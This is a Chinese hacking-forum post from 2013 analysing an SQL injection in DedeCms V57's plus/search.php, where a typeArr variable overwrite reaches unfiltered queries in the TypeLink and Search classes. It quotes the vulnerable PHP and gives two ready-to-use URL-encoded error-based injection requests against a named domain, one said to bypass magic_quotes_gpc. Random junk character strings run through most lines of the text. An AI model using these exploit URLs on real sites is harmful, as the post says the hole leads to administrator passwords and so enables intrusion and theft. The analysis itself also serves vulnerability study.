找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2242|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
- P1 M; x6 X7 ~( Q作者: c4rp3nt3r@0x50sec.org
. I, A9 c- D# X  i1 M3 I+ k0 lDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.3 o2 b' L/ v$ `1 M* {" o$ V; z4 h8 e  m
9 }- @1 x$ Y4 l- Z  ^$ X
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
) L5 H* H: D5 ~- y* d1 K
1 V3 i: O* ]4 E+ s) R0 c============* I5 E' _+ v* p  ?0 R
  Q  {8 V0 Y4 N/ U" j1 h+ B$ c% }9 g
$ b8 H$ P9 d6 Z1 X2 p
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
$ E4 U- S' f% c ( w! \% R1 o; N1 v! K/ D# m, C. R& Y* \
require_once(dirname(__FILE__).”/../include/common.inc.php”);  j& Q$ o3 C9 w! Z
require_once(DEDEINC.”/arc.searchview.class.php”);$ M/ {* a% t  ?9 w3 ^  w

/ H- ?. B5 {3 ?$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$ o* z! X3 w4 H; W& g5 }0 J  y" l8 r4 w$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;& y! ?# L1 ^% g. ?
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;6 N6 l% \: W+ H4 C
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;1 z7 t3 ]% E+ T6 K" C' }* E& B3 _9 C" Q
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
- j; K4 j- E7 W3 _$ l# B  v
2 v3 Q+ D# d2 I; h1 @, o! g- cif(!isset($orderby)) $orderby=”;
7 e1 L$ G" G1 l, w3 jelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
# a/ u1 `$ m/ c9 U) {0 y1 `* _8 t
$ ?) a+ x" h* B' P# F. y2 h& P
7 T2 n0 ?( z. ]3 P/ i  v0 qif(!isset($searchtype)) $searchtype = ‘titlekeyword’;- I/ H1 k. L% w0 W9 V
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
/ d- w6 O$ V' ?5 ]! _% P; N
7 ]. {- ~2 q: f% ^  V) J) dif(!isset($keyword)){
4 P' _  C: u+ o  ~0 T) f6 P    if(!isset($q)) $q = ”;# o, i! W3 G7 g' n  C
    $keyword=$q;
# u* A* q) Y' A$ P}+ G! ]! H! l$ s9 c6 L' J( F

  {) w6 o/ h) u7 X$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));1 D9 o. D- Y2 ]. ]8 I: |

+ d% W5 L* c) g% D) H9 \: Y. \//查找栏目信息
1 d3 b2 l, c2 {/ g0 V' S  E' ~6 V3 G( Jif(empty($typeid))
  Z6 H  A+ k% x5 g5 G{4 e. g- ]" b; I$ T
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;6 Z! m8 O$ l( O& k) y4 y7 o
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )' K& L" U( m) c/ \( ~
    {+ k2 w% D2 T7 K  Z$ f7 K" |  s
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);: ~- C" C+ m4 ]8 H' m% e+ B( o
        fwrite($fp, “<”.”?php\r\n”);5 ~7 u* k: }+ |: v, Q$ [7 M  F2 |
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);# K: c  N$ }2 J' P2 w# _8 [8 y- k
        $dsql->Execute();
4 H( f/ g- v4 j, r6 K2 Y' v4 C) a1 u        while($row = $dsql->GetArray())
6 z* T3 V& y2 G# a( A7 r# ?        {% O2 t3 j( ~; @7 d
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);8 c& P" }: [* }& f# Q
        }
, d5 T) `( R8 C" O& i0 T  _9 M9 e        fwrite($fp, ‘?’.'>’);2 n) \1 c  Q$ {. D# z/ p/ x
        fclose($fp);
( V- z. G8 A" P# A3 g9 E1 S& @    }3 D, N5 D1 y. N3 l# G3 m( A6 G" s- Z
    //引入栏目缓存并看关键字是否有相关栏目内容% H2 o( b0 B2 }7 f
    require_once($typenameCacheFile);0 ^* F* o3 b" `* @: L" t
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个$ ^1 P/ p( V0 |0 A" j9 u: L
//; N5 V2 H1 F5 ~6 ?
    if(isset($typeArr) && is_array($typeArr))
; c" f5 w; K7 |$ h3 z# ^    {
0 G. d0 B: |' u* |) ~        foreach($typeArr as $id=>$typename)
/ I! ]! g; |0 _) {7 B        {
" W7 X! l- [+ d' w$ E5 Q6 v ' |7 q5 h; e( [% K( G" L
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
1 Y( B+ _2 ?9 @0 X/ l            if($keyword != $keywordn)) P3 }+ T  D5 N, q1 a
            {
$ u6 k, w4 O/ i3 X* C                $keyword = $keywordn;% G2 m5 Q% C" o3 D: x; H5 |
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
) a- u( t. N( a# k                break;
* E7 M  r+ Y- b            }9 e. k; U% I  @+ i- c) r* R
        }
2 Q; j" }9 |( u! Z! |, v* L5 Z    }
8 W& C' W) e. S# S, b# o( s}2 M5 l0 }" m# Z2 u* S
然后plus/search.php文件下面定义了一个 Search类的对象 .9 K. F2 N6 L0 w, f
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.9 g$ ]8 \  Z+ A; L. C
$this->TypeLink = new TypeLink($typeid);
* n4 w: F. @- a9 ]* J; N- k
1 U/ ?2 J8 K& K8 y# b5 H  @) u% r8 i; pTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
+ j/ r0 I# X7 Q% ~) I" _% j " ]9 n5 N) N4 i
class TypeLink7 ~( g$ {# ~7 @4 u* \" d0 {6 J
{
, G8 |1 T' H) @. x: V    var $typeDir;4 C+ Z$ @5 p  k; y+ a
    var $dsql;
5 Q& k2 ~  u0 K4 Y    var $TypeID;
$ c8 d+ }' H( b% g# Q    var $baseDir;2 ?" y0 {- h6 R7 j' v
    var $modDir;
2 M$ A; ~+ I* A    var $indexUrl;7 r9 E* `% O$ G5 m: t& O
    var $indexName;" i0 C& \% ~; v7 z6 G' Q0 E' M# f
    var $TypeInfos;
6 X) I- s/ B* ?' I" v9 y4 T9 F    var $SplitSymbol;* k* B5 K9 {- B# ?* n& R
    var $valuePosition;: k  I3 ^3 @! a) D- {6 ]
    var $valuePositionName;) i8 {: u$ o/ J* w( V4 \
    var $OptionArrayList;//构造函数///////% [* c( [. v8 e$ \7 L4 j; f3 T3 D
    //php5构造函数2 Y. [1 w! {% x+ u. W$ @0 [
    function __construct($typeid)
! O& P; ?/ P) t$ t* d4 v1 t) e/ X    {
/ P0 |. ?  w+ u$ y/ P% y        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
' r7 ?/ N5 p5 \& E6 n9 L7 w: O        $this->indexName = $GLOBALS['cfg_indexname'];
7 t0 r% ?8 T. u: ~, C* C$ d        $this->baseDir = $GLOBALS['cfg_basedir'];
! U- J2 V6 y4 G( v        $this->modDir = $GLOBALS['cfg_templets_dir'];
8 z! h% v: u% y9 L, G/ w8 w        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
8 c* D6 ^' R) o6 d        $this->dsql = $GLOBALS['dsql'];$ ^! B! |+ y; k" W
        $this->TypeID = $typeid;
! e- k3 T; |( M        $this->valuePosition = ”;0 b' _; b0 i5 |9 H3 u
        $this->valuePositionName = ”;5 i+ O* `! X  H! C
        $this->typeDir = ”;
" {  q2 b! X9 F0 r, ^/ R        $this->OptionArrayList = ”;) |! ]  y$ {2 _( D1 u1 t7 A  h

$ ?9 ?* l: E. f! @; ^2 e. q        //载入类目信息
% Q9 S* H; _# D- L + X+ Q" \% {! l1 ]6 h8 r
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as+ G& x' f3 b$ j4 U
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
( q! u' a# c* `( j% b" T`#@__channeltype` ch/ L6 w9 b. B& j* L$ x  I
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿% p1 d& p+ m5 d1 l$ f) f

. h+ r. e4 u0 T7 _& x! |        if($typeid > 0)
/ V% E! Q% ~! N4 v: h: M        {) h  Y" A; m% `, L& M. U0 q! d
            $this->TypeInfos = $this->dsql->GetOne($query);
2 d, v' W) [6 ~7 _利用代码一 需要 即使magic_quotes_gpc = Off
. t/ P. z) F' G# V! h- G& P
# x& g2 K  P  Y+ owww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title( l9 G+ a5 I/ y/ O) e6 r! B
& @4 J, J' n3 a' }& v/ b! ~
这只是其中一个利用代码… Search 类的构造函数再往下
, Z6 x& u, W) S5 m 1 E8 h1 K4 S& M; w; Q7 Y
……省略
* [& J  X( ]- x! e9 X1 r$this->TypeID = $typeid;
2 h6 z( k' A+ v+ u1 I……省略
* \* c, c1 ^# C6 D/ p' Nif($this->TypeID==”0″){
# j+ x" y4 l. k, H+ V9 i4 {. g            $this->ChannelTypeid=1;5 _! M* G: I  I6 u! F4 |' h
        }else{7 k3 y& _, G( F
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
4 C/ g& R& U3 S- E" |! a//现在不鸡肋了吧亲…
( r9 x2 r9 P, T+ }  x" N+ ]& m            $this->ChannelTypeid=$row['channeltype'];
: Q+ O* J- D: h" D( A
8 s" d" T' @3 x$ \9 }        }! K  S: o1 t) B. |$ {6 D. S) ~; i- w  L
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
: B/ o9 h7 H& ^5 Y3 q
* @( p! R  N/ ]* `  r, Jwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
, n0 Z/ Q! B; w6 R: n7 c* U
2 k' i5 [3 K$ E如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站3 l. n% ~3 w1 N& ?+ v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表